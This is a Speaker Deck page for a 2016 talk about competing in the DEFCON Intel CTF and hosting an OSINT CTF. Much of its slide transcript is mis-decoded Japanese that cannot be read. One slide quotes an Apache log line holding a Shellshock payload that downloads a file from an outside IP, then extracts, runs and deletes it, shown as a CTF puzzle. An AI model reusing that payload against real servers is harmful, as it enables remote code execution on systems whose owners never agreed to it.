Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Intel CTF and Open xINT CTF 20161220

Yuho Kameda
December 20, 2016

Intel CTF and Open xINT CTF 20161220

OSINTのCTFに参加して開催した話で! 2016/12/20 #ssmjp

Yuho Kameda

December 20, 2016
Tweet

More Decks by Yuho Kameda

Other Decks in Technology

Transcript

  1. ࣗݾ঺հ ُా ༐า : ykame (@YuhoKameda) ZAP Evangelist OSINT ओͳۀ຿಺༰

    WebΞϓϦέʔγϣϯ੬ऑੑ਍அ ϓϥοτϑΥʔϜ੬ऑੑ਍அ SOC/CSIRTۀ຿ ۓٸҊ݅ͳΜͰ΋ཁһ… ৘ใऩू
  2. DEFCONͰIntel CTF Intel CTFͬͯͳʔʹʁ 2015೥͔Β࢝·ͬͨɺIntelligenceʹয఺Λ౰ͯͨ ڝٕ ୈ2ճ(2016೥)ͷςʔϚ͸ɺੈքͷTop50ʹೖΔا ۀͷThreat Intelligence Analystͱͯ͠ɺ߈ܸऀΛ

    ௥੻͍ͯ͘͠աఔͰ༷ʑͳ໰୊Λճ౴͢Δ ༏উ৆ۚ͸$2,500 pinjaͰࢀՃʂ(@luminࢯɺ@awamori_ttࢯ + me) ݁Ռ͸12ҐͰͨ͠
  3. ͲΜͳ໰୊͕͋ͬͨͷʔʁ 1໰໨ The Vuln: What is the vulnerability that was

    successfully exploited also "known" as? 4ϑΝΠϧܭ508ສߦͷApacheϩάͷத͔ Βɺ߈ܸʹ੒ޭͨ͠1ߦΛݟ͚ͭΔ XX.XX.XX.XX - - [21/Jul/2016:02:58:19 -0700] "GET /product/? id=2085 HTTP/1.0" 500 4958 "" "() { : ; }; /bin/bash -c 'wget -O / tmp/a.jpg http://52.37.125.215/ ; curl -o /tmp/a.jpg http:// 52.37.125.215/ ; tar -xzvf /tmp/a.jpg ; chmod 777 /tmp/* ; /tmp/a ; rm -rf /tmp/*'"
  4. 1໰໨ͷ౴͑͸ʁ What is the vulnerability that was successfully exploited also

    "known" as? ͳ͔ͳ͔౴͕͑߹Θͳ͍… Shellshock? shellshock?
  5. 1໰໨ͷ౴͑͸ʁ What is the vulnerability that was successfully exploited also

    "known" as? ͳ͔ͳ͔౴͕͑߹Θͳ͍… Shellshock? shellshock? Bashbug? CVE-2014-6271?
  6. 1໰໨ͷ౴͑͸ʁ What is the vulnerability that was successfully exploited also

    "known" as? ͳ͔ͳ͔౴͕͑߹Θͳ͍… Shellshock? shellshock? Bashbug? CVE-2014-6271? ౴͑͸ʮBashdoorʯ
  7. ໰୊͸7໰ 1. pinja.xyzͷ։ઃऀ(߈ܸऀ)ͷϝʔϧΞυϨε͸ʁ 2. ߈ܸऀ͕ॴ༗͢ΔFacebookΞΧ΢ϯτ͸ʁ 3. ߈ܸऀཱ͕ͪدͬͨ(ࣸਅ)ҿ৯ళͷ࠲ඪ͸ʁ 4. ߈ܸऀͱҰॹʹ৯ࣄ͍ͯ͠Δਓ(εύΠ)ͷFacebookΞΧ΢ϯτ ͸ʁ

    5. ͜ͷਓ(εύΠ)Λࣸਅ͔Βಛఆ͠ɺAV Tokyo಺Ͱ઀৮ͯ͠ʮ͏· ͘৴༻ͤͯ͞ʯ৘ใΛҾ͖ग़ͤ 6. εύΠ͔ΒҾ͖ग़ͨ͠৘ใΛݩʹɺʮϞϊʯΛݟ͚ͭɺಘΒΕΔ ৘ใΛݟ͚ͭΖ 7. ͦͷϞϊʹ᠘ϦϯΫΛ࢓ֻ͚ɺʮෆ৹ʹࢥΘΕͳ͍Α͏ʯ߈ܸऀ ʹAV Tokyo಺ͰʮϞϊʯΛ౉ͤ
  8. ࠷ऴతͳ݁Ռ͸ʁ (700఺Ҏ্) [߹ܭ఺਺ + εύΠಘ఺ + ࠷ऴճ౴࣌ؒ] Sh1n0g1ɹ900 +ʢ100ʣ18:45:56 tigerszkɹ900

    +ʢ100ʣ 19:20:49 rcsirtɹ900 +ʢ0ʣ17:16:36 nicklegrɹ700 +ʢ200ʣ17:39:52 brightblueɹ900 +ʢ0ʣ19:25:33 TomoriNaoɹ700 +ʢ100ʣ17:20:22 tonko2ɹ600 +ʢ100ʣ17:11:11 Sakura Ayaneɹ700 +ʢ0ʣ17:31:46 ໊લ͕ొ࿥໊ͱҰக͠ͳ͍ํ͸εύΠಘ఺͕0఺ͱͳΓ·͢ ಉ఺ͷ৔߹ɺ࠷ऴճ౴͕࣌ؒૣ͍ํ্͕Ґͱ͠·͢